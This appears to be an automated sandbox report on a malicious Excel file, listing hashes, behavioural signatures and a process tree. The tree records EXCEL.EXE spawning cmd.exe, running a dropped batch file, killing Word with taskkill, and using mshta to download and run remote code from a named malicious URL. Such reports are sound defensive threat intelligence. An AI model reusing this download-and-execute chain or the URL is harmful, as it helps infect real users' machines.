Analysis
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max time kernel
101s -
max time network
127s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
16-08-2022 07:45
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls
Resource
win10v2004-20220812-en
General
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Target
SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls
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Size
38KB
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MD5
7ad12537579ad48c286ccffbd98288f7
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SHA1
7187d653f96f28659ea269a394109819ad712ee5
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SHA256
324baa01c3619333075deb6dd0b3f6c1c9d6bc13d9b1a736db5465f53ab94226
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SHA512
06e5ddab59b3af1fa4b38d079d8217da8fd16af5ce4280a7b7f2ce1595b32960a9f5bba1cf65bd7ddf2828d0615a2ff49c45f8fbac8d9730ea2ca542b55eb4a1
Malware Config
Extracted
http://facextrade.com.br/wp-includes/certificates/4.txt
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4868 3876 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 32 IoCs
Processes:
mshta.exeflow pid process 20 3600 mshta.exe 23 3600 mshta.exe 26 3600 mshta.exe 28 3600 mshta.exe 29 3600 mshta.exe 30 3600 mshta.exe 32 3600 mshta.exe 33 3600 mshta.exe 34 3600 mshta.exe 35 3600 mshta.exe 36 3600 mshta.exe 37 3600 mshta.exe 38 3600 mshta.exe 39 3600 mshta.exe 40 3600 mshta.exe 49 3600 mshta.exe 50 3600 mshta.exe 51 3600 mshta.exe 52 3600 mshta.exe 53 3600 mshta.exe 54 3600 mshta.exe 58 3600 mshta.exe 59 3600 mshta.exe 60 3600 mshta.exe 61 3600 mshta.exe 62 3600 mshta.exe 63 3600 mshta.exe 64 3600 mshta.exe 65 3600 mshta.exe 66 3600 mshta.exe 68 3600 mshta.exe 69 3600 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 2028 taskkill.exe -
Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3876 EXCEL.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
taskkill.exedescription pid process Token: SeDebugPrivilege 2028 taskkill.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 3876 EXCEL.EXE 3876 EXCEL.EXE 3876 EXCEL.EXE 3876 EXCEL.EXE 3876 EXCEL.EXE 3876 EXCEL.EXE 3876 EXCEL.EXE 3876 EXCEL.EXE 3876 EXCEL.EXE 3876 EXCEL.EXE 3876 EXCEL.EXE 3876 EXCEL.EXE 3876 EXCEL.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
EXCEL.EXEcmd.execmd.exedescription pid process target process PID 3876 wrote to memory of 4868 3876 EXCEL.EXE cmd.exe PID 3876 wrote to memory of 4868 3876 EXCEL.EXE cmd.exe PID 4868 wrote to memory of 1816 4868 cmd.exe PING.EXE PID 4868 wrote to memory of 1816 4868 cmd.exe PING.EXE PID 4868 wrote to memory of 4844 4868 cmd.exe cmd.exe PID 4868 wrote to memory of 4844 4868 cmd.exe cmd.exe PID 4844 wrote to memory of 2028 4844 cmd.exe taskkill.exe PID 4844 wrote to memory of 2028 4844 cmd.exe taskkill.exe PID 4868 wrote to memory of 3600 4868 cmd.exe mshta.exe PID 4868 wrote to memory of 3600 4868 cmd.exe mshta.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\cmd.execmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\PING.EXEping -n 8 127.0.0.13⤵
- Runs ping.exe
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C:\Windows\system32\cmd.execmd /c start /min taskkill /f /im WINWORD.EXE3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\taskkill.exetaskkill /f /im WINWORD.EXE4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\mshta.exemshta http://facextrade.com.br/wp-includes/certificates/4.txt3⤵
- Blocklisted process makes network request
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Public\Outlook.batFilesize
1KB
MD520484f4a7d41c5f54a0dc7a7d35c2155
SHA10b197c48d648bbdc131dca6d4fb89903303372f9
SHA2566df10dd726cef49360df78c47651a311ea7bb21064fe77e019e223ef32776072
SHA51294df430c3890d5ba23618283ea6eaa6aa0c74d19c5e049f3cc4d65a464266ccc2eefccdb59d6464606200b2e51cdc9b57c2534c67aded228d00a54d856c98591
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memory/1816-140-0x0000000000000000-mapping.dmp
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memory/2028-143-0x0000000000000000-mapping.dmp
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memory/3600-144-0x0000000000000000-mapping.dmp
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memory/3876-149-0x00007FF862050000-0x00007FF862060000-memory.dmpFilesize
64KB
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memory/3876-137-0x00007FF85FF60000-0x00007FF85FF70000-memory.dmpFilesize
64KB
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memory/3876-138-0x00007FF85FF60000-0x00007FF85FF70000-memory.dmpFilesize
64KB
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memory/3876-150-0x00007FF862050000-0x00007FF862060000-memory.dmpFilesize
64KB
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memory/3876-135-0x00007FF862050000-0x00007FF862060000-memory.dmpFilesize
64KB
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memory/3876-134-0x00007FF862050000-0x00007FF862060000-memory.dmpFilesize
64KB
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memory/3876-136-0x00007FF862050000-0x00007FF862060000-memory.dmpFilesize
64KB
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memory/3876-133-0x00007FF862050000-0x00007FF862060000-memory.dmpFilesize
64KB
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memory/3876-132-0x00007FF862050000-0x00007FF862060000-memory.dmpFilesize
64KB
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memory/3876-147-0x00007FF862050000-0x00007FF862060000-memory.dmpFilesize
64KB
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memory/3876-148-0x00007FF862050000-0x00007FF862060000-memory.dmpFilesize
64KB
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memory/4844-142-0x0000000000000000-mapping.dmp
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memory/4868-139-0x0000000000000000-mapping.dmp